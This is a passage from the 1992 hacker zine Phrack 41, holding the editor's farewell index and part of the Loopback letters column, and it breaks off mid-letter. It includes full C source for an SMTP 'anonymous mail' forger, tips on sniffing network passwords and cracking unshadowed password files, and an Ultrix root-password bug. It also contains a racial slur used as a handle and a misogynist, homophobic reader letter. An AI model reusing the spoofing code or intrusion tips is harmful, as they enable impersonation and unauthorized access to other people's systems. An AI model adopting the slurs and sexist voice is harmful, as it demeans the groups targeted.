==Phrack Inc.==
Volume Four, Issue Forty-One, File 1 of 13
Issue 41 Index
___________________
P H R A C K 4 1
December 31, 1992
___________________
~ We've Had A Rest, We're Still The Best ~
You've been waiting for this for a while and it's finally here. A lot has
happened since the last issue. I guess I should start off with the most
important thing as far as the administration of Phrack is concerned: Phrack 41
is the last issue for which I will serve as editor.
Why? Well for one, I was in a motorcycle wreck about a month ago and lost the
use of my right arm for a while and, due to the related financial difficulties,
I was forced to sell my computers and some other stuff.
Secondly, due to my lack of being a rich boy and having access to a nice
machine, I found it necessary to allow others to help me in putting out the
past several issues and that has resulted in some things being released that I
really wasn't happy with.
However, don't get me wrong. I'm not gonna sit here and dis my friends just
because we differ in opinion about some things. I think that the overall
quality of the issues has been pretty good and anyone who says it's not can
basically suck my dick, because I don't give a fuck about your opinion anyway.
Thirdly, and the most important reason why I am resigning as editor of Phrack,
is a general lack of desire on my part. I mean the whole reason I even got
involved with doing this was because of hacking -- partly for curiosity and
partly for being able to thumb my nose at the powers that be and other
intellectual types that say, "You can't do/learn about that because we don't
think blah blah blah." Like I'm supposed to give a fuck what anyone else
thinks. The type of public service that I think hackers provide is not showing
security holes to whomever has denied their existence, but to merely embarrass
the hell out of those so-called computer security experts and other purveyors
of snake oil. This is a service that is truly unappreciated and is what keeps
me motivated. ANYWAY...if you wanna hear me rant some more, maybe I'll get to
do my own Eleeeeet3 Pro-Phile in the future. Heh!
But really, since my acquisition of Phrack, my play time has been hampered and
consequently, I have started to become bored with it. It was great to meet a
lot of cool people and I learned some things. It's now time for me to go back
to doing what I like best. For anyone who's interested in corresponding, I'm
focusing my time on radio communications, HAM radio, scanning, and cellular
telephones. If you are interested in talking about these things to me or
whatever, feel free to write me at dispater@stormking.com.
Aside from all that, I feel that Phrack can be better. That's why issue 42
will have a new editor and administrative staff. I'm not saying who, but you
may be surprised. NO, it's not KL or TK either.
And with that, I'm saying adios and, as Adam Grant said, "Don't get caught."
Now onto the issue:
In this issue's Loopback, Phrack responds to the numerous letters it has
received over the past several months, including the return of Shit Kickin' Jim
and a message from Rop, editor of Hack-Tic.
The Racketeer (Rack of The Hellfire Club) continues his Network Miscellany
column with plenty of new information about fake mail.
Phrack Pro-Phile focuses on one of the hacking community's most mysterious
figures: Supernigger. SN was somewhat involved with the infamous DPAK and has
some words of wisdom to the eleets and other folks who enjoy boasting about
their number of years in "the hacker scene."
DISPATER, Phrack Editor
Editor-In-Chief : Dispater
Eleet Founders : Taran King and Knight Lightning
Technical Consultant : Mind Mage
Network Miscellany : The Racketeer [HFC]
News : Datastream Cowboy
Make-up : Hair Club for Men
Photography : Restricted Data Transmissions
Publicity : AT&T, BellSouth, and the United States Secret Service
Creative Stimulus : Camel Cool, Jolt Cola, and Taco Bell
Other Helpers : Scott Simpson, Zibby, The Weazel, The Fed, El1teZ
Everywhere.
"For the record, we're hackers who believe information should be free. All
information. The world is full of phunky electronic gadgets and networks
and we want to share our information with the hacker community."
-- Restricted Data Transmissions
"They are satisfying their own appetite to know
something that is not theirs to know."
-- Assistant District Attorney, Don Ingraham
"The notion that how things work is a big secret is simply wrong."
-- Hacking/Cracking conference on The WELL
-= Phrack 41 =-
Table Of Contents
~~~~~~~~~~~~~~~~~
1. Introduction by Dispater 07K
2. Phrack Loopback by Dispater and Mind Mage 52K
3. Phrack Pro-Phile on Supernigger 10K
4. Network Miscellany by The Racketeer [HFC] 35K
5. Pirates Cove by Rambone 32K
6 Hacking AT&T System 75 by Scott Simpson 20K
7. How To Build a DMS-10 Switch by The Cavalier 23K
8. TTY Spoofing by VaxBuster 20K
9. Security Shortcomings of AppleShare Networks by Bobby Zero 16K
10. Mall Cop Frequencies by Caligula XXI 11K
11. PWN/Part 1 by Datastream Cowboy 46K
12. PWN/Part 2 by Datastream Cowboy 49K
13. PWN/Part 3 by Datastream Cowboy 43K
Total: 364K
There is no America.
There is no democracy.
There is only IBM and ITT and AT&T.
-- Consolidated
_______________________________________________________________________________
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 2 of 13
[-=:< Phrack Loopback >:=-]
By Dispater & Mind Mage
Phrack Loopback is a forum for you, the reader, to ask questions, air
problems, and talk about what ever topic you would like to discuss. This is
also the place Phrack Staff will make suggestions to you by reviewing various
items of note; books, magazines, software, catalogs, hardware, etc.
In this issue:
Comments on Phrack 40 : Rop Gonggrijp
Fine Art of Telephony (re: Phrack 40) : Inhuman
Question & Comment (BT Tymnet/AS400) : Otto Synch
BT Tymnet article in Phrack 40 : Anonymous
Phrack fraud? : Doctor Pizz
Remarks & Warning! : Synaps/Clone1/Feyd
One Ron Hults (re: Phrack 38 Loopback) : Ken Martin
Hacking In Czecho-Slovakia : Stalker
Phrack 40 is Sexist! : Ground Zero
Phrack 40 is Sexist!? (PC Phrack) : Shit Kickin' Jim
Misunderstood Hackers Get No Respect : The Cruiser
Hackers Should Land In Jail, Not In Press : Alan Falk
Anonymous Usenet Posting? : Anonymous
Anonymous Mail Poster : Sir Hackalot
Phrack On The Move : Andy Panda-Bear
Computer Underground Publications Index : Amadeus
Pirates v. AT&T: Posters : Legacy Irreverent
Ultrix 4.2 Bug : Krynn
PumpCon Hosed : Phil "The Outlander"
2600 Meeting Disrupted by Law Enforcement : Emmanuel Goldstein
Two New Hardcovers : Alan J. Rothman
_______________________________________________________________________________
Letters to the Editors
~~~~~~~~~~~~~~~~~~~~~~
From: rop@hacktic.nl (Rop Gonggrijp) (Editor of Hack-Tic Magazine)
Date: August 14, 1992
Subject: Comments on Phrack 40
My compliments! You've put out one of the best issues to date. If you keep
this up I'll have to get jealous!
Rop Gonggrijp (rop@hacktic.nl) Dangerous and capable of making
fax: +31 20 6900968 considerable trouble.
----------
From: Inhuman (Sysop of Pentavia BBS)
Date: August 18, 1992
Subject: Fine Art of Telephony
I just wanted to let you guys know that the article titled "The Fine Art of
Telephony" was one of the best articles I've seen in Phrack in a long time.
I hope to see more information on switching and general telephony in the
future.
Thanks,
Inhuman
----------
Date: October 22, 1992
From: Otto Synch
Subject: Question & Comment
Hello,
Reading your (huge) Phrack issue #40, and noticing that you were accepting
comments and questions, I decided to post mine. First of all, please forgive
the English. I'm French and can't help it :-)
My comment: When I saw in the index that this issue was dealing with BT
Tymnet, I felt very happy because I was looking for such information. And when
I read it, I felt really disappointed. Toucan Jones could have reduced his
whole article with the following lines:
-> Find any Tymnet number.
-> Dial and wait for the "Please log-in:" prompt.
-> Log as user "help", no password required.
-> Capture everything you want, it's free public information.
I must say I was a bit surprised to find this kind of article in a high-quality
magazine such as yours...
My question: I'm currently trying to find out everything about a neat AS/400
I've "found," but I never saw any "hack report" on it. Do you know if there
are any available?
OK - Let's see if you answer. We feel somewhat lonely here in the Old
Continent...but Phrack is here to keep the challenge up!
Regards,
> Otto Sync <
----------
From: Anonymous
Date: August 19, 1992
Subject: BT Tymnet article in Phrack 40
Dear Phrack Staff,
The BT Tymnet article in the 40th issue of Phrack was totally lame. I hate it
when people enter Telenet or Tymnet's information facility and just buffer all
the sh*t that's in there. Then they have the audacity to slap their name on
the data as if they had made a major network discovery. That's so f*ck*ng
lame!
Phrack should make a policy not to accept such lame sh*t for their fine
magazine. Is Phrack *that* desperate for articles? Crap like commercial dial-
up lists is about as lame as posting a few random pages from the front of the
white pages. The information is quickly outdated and easily available at any
time to anyone. You don't hack this sh*t.
Regards,
Anonymous (anonymous because I don't want to hear any lame flames)
[Editor's Response: We agree that buffering some dialup list is not hacking,
however, in this specific case, a decision was made that
not everyone had ready access to the information or even
knew of its existence. Furthermore and more relevant to
why the article appeared in Phrack, an article on Tymnet
was appropriate when considering the recent events with
the MOD case in New York.
In the future, you may ask that your letter be printed
anonymously, but don't send us anonymous mail.]
----------
From: Doctor Pizz
Date: October 12, 1992
Subject: Phrack fraud?
I recently received an ad from someone who was selling the full set of Phrack
back issues for $100.00. I do believe that this is a violation of your rights
to Phrack, as he is obviously selling your work for profit!
The address I received to order these disks was:
R.E. Jones
21067 Jones-Mill
Long Beach, MS 39560
It seems he is also selling the set of NIA files for $50, a set of "Hacking
Programs" for $40, LOD Tech Journals for $25, and lots of viruses. It sounds
like some sort of copyright violation, or fraud, as he is selling public domain
stuff for personal profit. At least you should be aware of this. Anyway, I
look forward to receiving future volumes of Phrack! Keep up the good work.
Good luck in stopping this guy!
Thank you,
--Doctor Pizz--
[Editor's Note: We look forward to hearing what our Phrack readers think about
people selling hardcopies of Phrack for their own personal
profit.]
----------
From: Synaps a/k/a Clone1 a/k/a Feyd
Date: September 2, 1992
Subject: Remarks & Warning!
Hi,
I've been a regular reader of Phrack for two years now and I approve fully the
way you continue Phrack. It's really a wonderful magazine and if I can help
its development in France, I'll do as much as I can! Anyway, this is not
really the goal of my letter and excuse me for my English, which isn't very
good.
My remarks are about the way you distribute Phrack. Sometimes, I don't receive
it fully. I know this is not your fault and I understand that (this net
sometimes has some problems!). But I think you could provide a mail server
like NETSERV where we could get back issues by mail and just by MAIL (no FTP).
Some people (a lot in France) don't have any access to international FTP and
there are no FTP sites in France which have ANY issues of Phrack. I did use
some LISTSERV mailers with the send/get facility. Could you install it on your
LISTSERV?
My warning is about a "group" (I should say a pseudo-group) founded by Jean
Bernard Condat and called CCCF. In fact, the JBC have spread his name through
the net to a lot of people in the Underground. As the Underground place in
France is weak (the D.S.T, anti-hacker staff is very active here and very
efficient), people tend to trust JBC. He seems (I said SEEMS) to have a good
knowledge in computing, looks kind, and has a lot of resources. The only
problem is that he makes some "sting" (as you called it some years ago)
operation and uses the information he spied to track hackers. He organized a
game last year which was "le prix du chaos" (the amount of chaos) where he
asked hackers to prove their capabilities.
It was not the real goal of this challenge. He used all the materials hackers
send him to harass some people and now he "plays" with the normal police and
the secret police (DST) and installs like a trade between himself and them.
It's really scary for the hacking scene in France because a lot of people trust
him (even the television which has no basis to prove if he is really a hacker
as he claims to be or if he is a hacker-tracker as he IS!). Journalists take
him as a serious source for he says he leads a group of computer enthusiasts.
But we discovered that his group doesn't exist. There is nobody in his group
except his brother and some other weird people (2 or 3) whereas he says there
is 73 people in his club/group. You should spread this warning to everybody in
the underground because we must show that "stings" are not only for USA! I
know he already has a database with a lot of information like addresses and
other stuff like that about hackers and then he "plays" with those hackers.
Be very careful with this guy. Too many trust him. Now it's time to be
"objective" about him and his group!
Thanks a lot and goodbye.
Synaps a/k/a Clone1 a/k/a Feyd
----------
From: Ken Martin <70712.760@compuserve.com>
Date: November 17, 1992
Subject: One Ron Hults...(Phrack 38 Loopback)
Dear Phrack Staff:
This letter is concerning the letter in the Phrack Loopback column (#38, April
20, 1992) written by one Ron Hults. It suggests that all children should be
disallowed access to a computer with a modem.
The news release to which it is attached attempts to put an idea in the
reader's mind that everything out there (on bulletin boards) is bad. Anyone
who can read messages from "satanic cultists, pedophile, and rapists" can also
read a typical disclaimer found on most bulletin boards which have adult
material and communication areas available to their users, and should be able
to tell the SysOp of a BBS how old he/she is.
A child who is intelligent enough to operate a computer and modem should also
be able to decide what is appropriate for him/her to read, and should have the
sense enough to avoid areas of the BBS that could lead to trouble, and not to
give their address and home phone number to the Charles Manson idols. (It is a
fact that all adolescents have thoughts about sex; nothing can change that.
The operator of a BBS also has the moral responsibility to keep little kids out
of the XXX-Rated GIF downloading area.)
One problem with that is BBSes run by the underground type (hack/phreak, these
usually consist of people from 15-30 years of age). The operators of these let
practically anyone into their system, from my experiences. These types of
BBSes often have credit card numbers, telephone calling card numbers, access
codes to credit reporting services, etc., usually along with text-file
documents about mischievous topics. Mr. Hults makes no mention of these in his
letter and press release. It is my belief that these types of systems are the
real problem. The kids are fascinated that, all of a sudden, they know how to
make explosives and can get lots of anything for free.
I believe that the parents of children should have the sense enough to watch
what they are doing. If they don't like the kind of information that they're
getting or the kind of messages that they're sending to other users, then that
is the time to restrict access to the modem.
I am fifteen years old, and I can say that I have gotten into more than my
share of trouble with the law as a result of information that I have obtained
from BBSes and public communications services like CompuServe. The computer is
a tool, and it always will be. Whether it is put to good use or not depends on
its user. I have put my computer/modem to use in positive applications more
than destructive ones.
I would like Mr. Hults to think about his little idea of banning children from
modem use, and to think about the impact it would have on their education.
Many schools use computers/modems in their science and English curriculums for
research purposes.
Banning children from telecommunications is like taking away connection to the
outside world and all forms of publication whatsoever when one takes a look
around a large information service like CompuServe or GEnie, and sees all of
the information that a service like this is capable of providing to this
nation.
Thanks,
Ken Martin (70712.760@compuserve.com)
a.k.a. Scorpion, The Omega Concern, Dr. Scott
----------
From: Stalker
Date: October 14, 1992
Subject: Hacking In Czecho-Slovakia
Hi there!
I'm student from Czecho-Slovakia (for some stupid person who doesn't know, it's
in middle Europe). Call me Stalker (if there is other guy with this name, call
me what you want). If you think that computers, networks, hacking and other
interesting things are not in Eastern Europe, you're WRONG. I won't talk
about politicians. They really make me (and other men from computers) sick!
I'll tell you what is interesting here right now.
Our university campus is based on two main systems, VMS and ULTRIX. There's
VAX 6000, VAX 4000, MicroVAX, VAXStation and some oldtimer machines which run
under VMS. As for hacking, there's nothing interesting. You can't do some
tricks with /etc/passwd, there's no main bug in utilities and commands. But,
as I know, VMS doesn't crypt the packets across the network so you can take
some PC and Netwatch (or any other useful software ) and try to see what
is interesting on the cable. You can grab anything that you want (usernames,
passwords, etc.).
Generally, students hate VMS and love UNIX-like systems. Other machines are
based on ULTRIX. We have DECstations (some 3100, some 5000) and one SM 52-12
which is something on VAX-11 :-(. It is a really slow machine, but it has
Internet access! There's many users so you can relatively easily run Crack
(excellent program) since passwd is not shadowed. Another useful thing is tftp
(see some other Crack issues). There was a machine with enabled tftp, but
after one incident, it was disabled.
I would like to tell you more about this incident but sysadmins are still
suspecting (they probably read my mail). Maybe after some months in other
articles. Now I can tell you that I'm not a real UNIX-GURU-HACKER, but the
sysadmins thought that I was. Someone (man or girl, who knows) has hacked one
(or two) machines on our campus. Administrators thought that I was this
mysterious hacker but I am not! He/she is much better than I and my friends.
Today no one knows who the hacker is. The administrator had talked to him/her
and after some weeks, gave him/her an account. He/she probably had root
privileges for some time and maybe has these today. He/she uses a modem to
connect. His/her login name is nemo (Jules Verne is a popular hero). I will
try to send mail to him/her about Phrack and maybe he/she will write
interesting articles about himself.
And some tips. Phrack is very interesting, but there's other interesting
official files on cert.org (192.88.209.9) available via anonymous FTP. This
is the Computer Emergency Response Team (CERT) FTP server. You can find
interesting information here about bugs in actual software, but you will see
only which command or utility has the bug, not how to exploit it. If you are
smart enough, there's nothing to say.
If you are not, you must read Phrack! :-)
Bye,
Stalker
----------
From: Ground Zero
Date: August 25, 1992
Subject: Phrack 40 is Sexist!
Hi, just a quick comment about Phrack's account of SummerCon:
I don't think your readers need to know or are really interested in hearing
about the fact that Doc Holiday was busy trying to pick up girls or that there
were some unbalanced teeny-boppers there offering themselves to some of the
SummerCon participants. Also, as a woman I don't care for your
characterizations of females in that file.
I'm not trying to nitpick or be politically correct (I hate PC), I'm just
writing because I felt strongly enough about it. Ciao.
Ground Zero (Editor of Activist Times, Inc./ATI)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: Shit Kickin' Jim
Date: September 11, 1992
Subject: Phrack 40 is Sexist!? (PC Phrack)
Listen here woman. I don't know whut yer big fat butt thinks Phrack wuz tryin'
to insinuate. Lemme tell yew a thang er two. First of all, Phrack ain't run
by some little pip-squeek faggot ass pansies. Ah mean wut are you sum kinda
hOmOsexual? Here's what ah mean. NOW here iz a real story 'bout me and one a
my bestest friends: 4x4 Phreaker.
See 4x4 Phreaker come down to Texas fur a little hackin adventure. Even though
he lives up there in Yankee-land, 4x4 Phreaker iz a pretty good ol' boy.
Whuddya think real manly hackers do when they get together? Go stop by Radio
Shack and buy shrink wrap?
HELL NO! We fuckin' went to Caligula XXI. Fur yew ol' boys that ain't from
'round here er yer a fauygut out there that might be readin this, Caligula XXI
specializes in enertainmunt fer gennelmen.
Now, me and 4x4 Phreaker didn't go to hawk at some fat nasty sluts like you
might see at your typical Ho-Ho Con. We went with the purpose in mind of seein
a real movie star. Yup Christy Canyon was in the house that night. 4x4
Phreaker and me sat down at a table near the front. At that point I decided
that I'd start trollin for babes. Yep that's right I whipped out an American
Express Corporate Gold card. And I'll be damned if it weren't 3 minutes later
me and 4x4 Phreaker had us 2 new found friends for the evening.
So anywayz, yew can see we treated these two fine ladies real nice and they
returned the favor. We even took em to Waffle House the next mornin'. So I
dunno where yew git off by callin us sexist. Yer just some Yankee snob big
city high horse woman who expects to be a takin care of.
God bless George Bush and his mistress Jennifer whutz her name.
:Shit Kickin' Jim (Madder than a bramer bull fightin a mess of wet hornets)
_______________________________________________________________________________
Misunderstood Hackers Get No Respect August 10, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by The Cruiser (ComputerWorld)(Page 24)(Letters to the Editor)
I just read the replies to Chris Goggans' "Hackers aren't the real enemy"
[ComputerWorld, June 29], and I thought I'd address a few of the points brought
up. I'm a hacker -- which means that I'm every system administrator's
nightmare.
Hardly. Many hackers are politically aware activists. Besides being fueled by
an obsession for mastering technology (I call it a blatant disregard for such),
true hackers live and obey a strict moral code.
All this talk about the differences between voyeurism and crime: Please, let's
stop comparing information access to breaking into someone's house. The
government can seize computers and equipment from suspected hackers, never to
return it, without even charging a crime. I will not sit back and let Big
Brother control me.
The Cruiser
_______________________________________________________________________________
Hackers Should Land In Jail, Not In Press October 19, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Alan Falk (ComputerWorld)(Page 32)(Letters to the Editor)
The letters you get from avowed hackers seem to glorify the virtues of hacking.
I find this very disturbing for a simple reason: It completely ignores the
issue of private property.
The computer systems they hack into (pun intended) and the databases they try
to access, as well as the data in the databases, are private property.
An analogous argument might be that breaking and entering a jewelry store and
taking off with some valuables is really a way of testing the security controls
at the jeweler's establishment. They're really just doing it for the
excitement and challenge.
Would they promote voyeurism based on the "logic" that "after all, if they
didn't want me to look, they'd have pulled the drapes closer together?"
The fact that there's challenge or excitement involved (or even commitment,
intellect or whatever) does not change the issue.
I suggest that hackers who gain entry to systems against the wishes of the
systems' owners should be treated according to the laws regarding unlawful
entry, theft, etc.
Alan Falk
Cupertino, California
_______________________________________________________________________________
Anonymous Usenet Posting?
~~~~~~~~~~~~~~~~~~~~~~~~~
Date: August 19, 1992
From: Anonymous
I've read in Phrack all about the different ways to send fake mail, but do any
of the readers (or Mind Mage) know anything about anonymous newsgroup posting?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Anonymous Mail Poster August 4, 1992
~~~~~~~~~~~~~~~~~~~~~
by Sir Hackalot
Here is some C source to a simple "anonymous" mail poster that I wrote a LONG
time ago. It's just one of many pieces of code I never gave to anyone before.
You may find it useful. Basically, it will connect to the SMTP port and
automate the sending. It will allow for multiple recipients on the "To:" line,
and multiple "To:" lines.
From: sirh@sirh.com
------ Cut here for fm.c -----
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
int openSock(name,port)
char *name;
int port;
{
int mysock,opt=1;
struct sockaddr_in sin;
struct hostent *he;
he = gethostbyname(name);
if (he == NULL) {
printf("No host found..
");
exit(0);
}
memcpy((caddr_t)&sin.sin_addr,he->h_addr_list[0],he->h_length);
sin.sin_port = port;
sin.sin_family = AF_INET;
mysock = socket(AF_INET,SOCK_STREAM,0);
opt = connect(mysock,(struct sockaddr *)&sin,sizeof(sin));
return mysock;
}
/* This allows us to have many people on one TO line, seperated by
commas or spaces. */
process(s,d)
int d;
char *s;
{
char *tmp;
char buf[120];
tmp = strtok(s," ,");
while (tmp != NULL) {
sprintf(buf,"RCPT TO: %s
",tmp);
write(d,buf,strlen(buf));
tmp = strtok(NULL," ,");
}
}
getAndSendFrom(fd)
int fd;
{
char from[100];
char outbound[200];
printf("You must should specify a From address now.
From: ");
gets(from);
sprintf(outbound,"MAIL FROM: %s
",from);
write(fd,outbound,strlen(outbound));
}
getAndSendTo(fd)
int fd;
{
char addrs[100];
printf("Enter Recipients, with a blank line to end.
");
addrs[0] = '_';
while (addrs[0] != ' ') {
printf("To: ");
gets(addrs);
process(addrs,fd);
}
}
getAndSendMsg(fd)
int fd;
{
char textline[90];
char outbound[103];
sprintf(textline,"DATA
");
write(fd,textline,strlen(textline));
printf("You may now enter your message. End with a period
");
printf("[---------------------------------------------------------]
");
textline[0] = '_';
while (textline[0] != '.') {
gets(textline);
sprintf(outbound,"%s
",textline);
write(fd,outbound,strlen(outbound));
}
}
main(argc,argv)
int argc;
char *argv[];
{
char text[200];
int file_d;
/* Get ready to connect to host. */
printf("SMTP Host: ");
gets(text);
/* Connect to standard SMTP port. */
file_d = openSock(text,25);
if (file_d < 0) {
printf("Error connecting to SMTP host.
");
perror("smtp_connect");
exit(0);
}
printf("
[+ Connected to SMTP host %s +]
",text);
sleep(1);
getAndSendFrom(file_d);
getAndSendTo(file_d);
getAndSendMsg(file_d);
sprintf(text,"QUIT
");
write(file_d,text,strlen(text));
/* Here we just print out all the text we got from the SMTP
Host. Since this is a simple program, we didnt need to do
anything with it. */
printf("[Session Message dump]:
");
while(read(file_d,text,78) > 0)
printf("%s
",text);
close(file_d);
}
----- End file fm.c
_______________________________________________________________________________
From: Andy Panda-Bear
Date: September 25, 1992
Subject: Phrack on the move
To Whom It May Concern:
I love reading your Phrack articles and find them very, very informative as
well as helpful. I was wondering in you've ever or plan to put together a
compendium of related articles. For instance, you could make a Phrack guide to
telephony and include all telephone/telecommunications articles. Perhaps a
"Phrack Guide to UNIX" or "Phrack Guide to Internet" could be produced. It
could have reprints of past articles along with commentaries by individuals who
care to share their knowledge. Anyway it's just something to think about.
Thanks for many megabytes of useful info and keep it coming.
Later,
Andy Panda-Bear
----------
Computer Underground Publications Index
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Amadeus
I just finished the new edition of the Phrack Index, now called the Computer
Underground Publications Index since it now includes the issues of the Legion
of Doom Tech Journals and Informatik.
You can get it from ftp.uu.net as /tmp/CUPindex
I have already sent it to da folks at CUD so that they may enter it into their
archives.
The CUP has been updated to included all the Phracks up to 40.
C'ya
Amadeus
_______________________________________________________________________________
Pirates v. AT&T: Posters August 8, 1992
~~~~~~~~~~~~~~~~~~~~~~~~
by Legacy Irreverent (legacy@cpu.cyberpnk1.sai.com)
On May 24 1992, two lone Pirates, Legacy of CyberPunk System, and Captain
Picard of Holodeck, had finally had enough of AT&T. Together, they traveled to
the AT&T Maintenance Facility, just west of Goddard, Kansas, and claimed the
property in the name of Pirates and Hackers everywhere. They hoisted the Jolly
Roger skull and crossbones high on the AT&T flagpole, where it stayed for 2
days until it was taken down by security.
This event was photographed and videotaped by EGATOBAS Productions, to preserve
this landmark in history. And now you can witness the event. For a limited
time we are offering a 11" x 17" full color poster of the Jolly Roger Pirate
flag flying high over AT&T, with the AT&T logo in plain view, with the caption;
"WE CAME, WE SAW, WE CONQUERED." These are $5.50 each and are laminated.
Also available, by request is a 20" x 30" full color photograph, and a cotton
T-shirt with the same full color picture on the front, for $20 each.
If you are interested in purchasing any of the above items, simply send check
or money order for the amount to:
CyberPunk System
P.O. Box 771027
Wichita, KS 67277-1072
A GIF of this is also available from CyberPunk System, 1:291/19, 23:316/0,
72:708/316, 69:2316/0. FREQ magicname PIRATE
Any questions, send them to Legacy@cpu.cyberpnk1.sai.com
_______________________________________________________________________________
Ultrix 4.2 Bug
~~~~~~~~~~~~~~
By Krynn
A bug was discovered in Ultrix 4.2 upgrade version. It involves npasswd, and
root. It is quite simple, and a patch/fix is available. Here is a description
of the hole:
Sys Admin's username: mradmin
Any user's username : mruser
Okay, mruser has forgotten his password, which isn't good. Mruser goes to
mradmin and asks mradmin to change his password to newpass. Mradmin does so.
Mradmin now will su to root, and npasswd mruser. He will enter mruser's new
password, newpasswd. It will appear in the /etc/passwd that mruser's password
is a "*" (shadowed), and that it has been changed, but it hasn't.
The password changed was root's, meaning root's password is now newuser.
A fix is available via anonymous ftp at:
black.ox.ac.uk /src/npasswd.enhanced.shar.Z
The original is there as /src/npasswd jpl.tar.Z
_______________________________________________________________________________
PumpCon Hosed November 5, 1992
~~~~~~~~~~~~~
by Phil "The Outlander"
PumpCon '92 was held this past weekend at the Westchester Courtyard by
Marriott, and was shut down in spades.
It began like any typical hacker/phreak/cyberpunk's convention, with lots of
beer, lots of shooting the bull, and lots of people from around the country,
except that the guests got sloppy, stupid, noisy, and overconfident.
The manager of the hotel, accompanied by three town of Greenborough police
officers, entered the room at approximately 10pm on Saturday. The manager had
received complaints about noise and vandalism from some of the hotel's other
guests. She claims to have tried to call the room several times before
physically entering, but the room's telephone line was consistently busy.
The police officers noticed the multiple open (and empty) beer bottles
scattered around the room and were gearing up to make some arrests for
"Unlawful Possession of Alcoholic Beverages by Underage Persons" when one of
the policemen spotted an Amiga, connected to a US Robotics modem, which was in
turn connected to the suite's phone line. The "stolen" calling card was all
the probable cause necessary to upgrade the charges to "Wire Fraud."
Everyone in the suite was detained for questioning. Standard investigation
procedure was followed. The entire case was handled by local authorities,
including the Westchester County DA. To my knowledge, the FBI and Bell
Security people were not called in (or if they were, it was after I was
released).
Each detainee was body-searched for diskettes, hand-written notes about credit
and computer services, autodialers, and the like. The suite where PumpCon had
taken place was also searched. Hardware seized includes at least two Amigas
with monitors, modems, and diskettes, and one AT&T dumb terminal with modem.
Each of the detainees was interviewed in turn. Just before dawn on the morning
of Sunday, November 1st, the police began making the actual arrests. Four to
eight people were arrested and taken to the local jail.
The rest of the detainees were released with no charges or arrests filed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
And now on a personal note to anybody who is new to the world of hacking:
Many of the attendees to PumpCon '92 were just like me. I was aware of the
possible consequences of an arrest, but the full enormity of the possibilities
hadn't sunk in. Getting busted can really ruin your life, and I am unwilling
to sacrifice my liberty and get a criminal record just for the thrill of
hanging out with the "eleet."
I was personally terrified out of my skull and went right off any dreams I had
of being some kind of big-time cyberpunk. The law had us outgunned ten to one
(literally and figuratively) and I as I write this on Monday night I still
haven't stopped shaking.
To anyone who hasn't considered what it would be like to get seriously busted,
I want you to try and picture the scene that night, and comes the dawn, a lot
of the people you were partying with just twelve hours earlier are carted away
in handcuffs to face an uncertain future.
The attendees of PumpCon, including myself and with few exceptions, were utter
and complete fools. They thought that they could act like jerks, bust up the
hotel, and phreak off the room lines without bringing down the heat like a jet
of molten lava. They thought they were too smart to get caught. They thought
that they were immortal. They thought wrong, and now some of them are going to
pay for it.
I got lucky. I was released, and I learned some invaluable lessons.
I can't stress enough to anybody out there who is treating the state of the
Hack like it's a big game: You aren't going to get your marbles back when the
night is over. The stakes are real. Ask yourself if you can deal with the
possibilities of ruining your life before it's even begun.
Everyone must make their own decision. You are only given this one chance to
bail out now; any others that come along are blessings from on high.
If you do decide to live in the computer underground, I can only offer this
advice: Cover your a$$. Do not act foolishly. Do not associate with fools.
Remember that you are not immortal, and that ultimately there are no safety
nets. Intelligence can't always save you. Do not, in your arrogance, believe
that it will. My time as a cyberpunk has been short and undistinguished but it
has taught me this much.
I'm not saying that you should not become a hacker. If that is truly your
wish, then I'm not one to stop you. I'm just warning you that when the fall
comes, it can come hard, and there's nobody who can help you when you've gone
far enough past the line.
Phil "The Outlander"
_______________________________________________________________________________
2600 Meeting Disrupted by Law Enforcement December 12, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Emmanuel Goldstein (Editor of 2600 Magazine)
The following is a letter I wrote to the Washington Post in response to their
article about the incidents at the Pentagon City Mall on November 6, entitled,
"Hackers Allege Harassment at Mall" (dated November 13, page A1). Their
article failed to focus on the startling revelation of federal government
involvement and the ominous implications of such an action. The article also
does little to lessen the near hysteria that is pumped into the general public
every time the word "hacker" is mentioned.
Let us take a good look at what has been confirmed so far. A group of computer
hackers gathered at a local mall as they do once a month. Similar meetings
have been going on in other cities for years without incident. This gathering
was not for the purposes of causing trouble and nobody has accused the hackers
of doing anything wrong. Rather, the gathering was simply a place to meet and
socialize. This is what people seem to do in food courts and it was the
hackers' intention to do nothing more.
When mall security personnel surrounded the group and demanded that they all
submit to a search, it became very clear that something bizarre was happening.
Those who resisted were threatened with arrest. Everyone's names were written
down, everyone's bags gone through. One person attempted to write down the
badge numbers of the people doing this. The list was snatched out of his hand
and ripped to pieces. Another hacker attempted to catch the episode on film.
He was apprehended and the film was ripped from his camera. School books,
notepads, and personal property were seized. Much of it has still not been
returned. The group was held for close to an hour and then told to stay out
of the mall or be arrested.
This kind of treatment is enough to shock most people, particularly when
coupled with the overwhelming evidence and eyewitness accounts confirming no
unusual or disruptive behavior on the part of the group. It is against
everything that our society stands for to subject people to random searches and
official intimidation, simply because of their interests, lifestyles, or the
way they look. This occurrence alone would warrant condemnation of a blatant
abuse of power. But the story doesn't end there.
The harassment of the hackers by the mall police was only the most obvious
element. Where the most attention should be focused at this point is on the
United States Secret Service which, according to Al Johnson, head of mall
security, "ramrodded" the whole thing. Other media sources, such as the
industry newsletter Communications Daily, were told by Johnson that the Secret
Service was all over the mall that day and that they had, in effect, ordered
the harassment. Arlington police confirm that the Secret Service was at the
mall that day.
It is understood that the Secret Service, as a branch of the Treasury
Department, investigates credit card fraud. Credit card fraud, in turn, can be
accomplished through computer crime. Some computer hackers could conceivably
use their talents to accomplish computer crime. Thus we arrive at the current
Secret Service policy, which appears to treat everybody in the hacker world as
if they were a proven counterfeiter. This feeling is grounded in
misperceptions and an apprehension that borders on panic. Not helping the
situation any is the ever-present generation gap -- most hackers are young and
most government officials are not.
Apart from being disturbed by the gross generalizations that comprise their
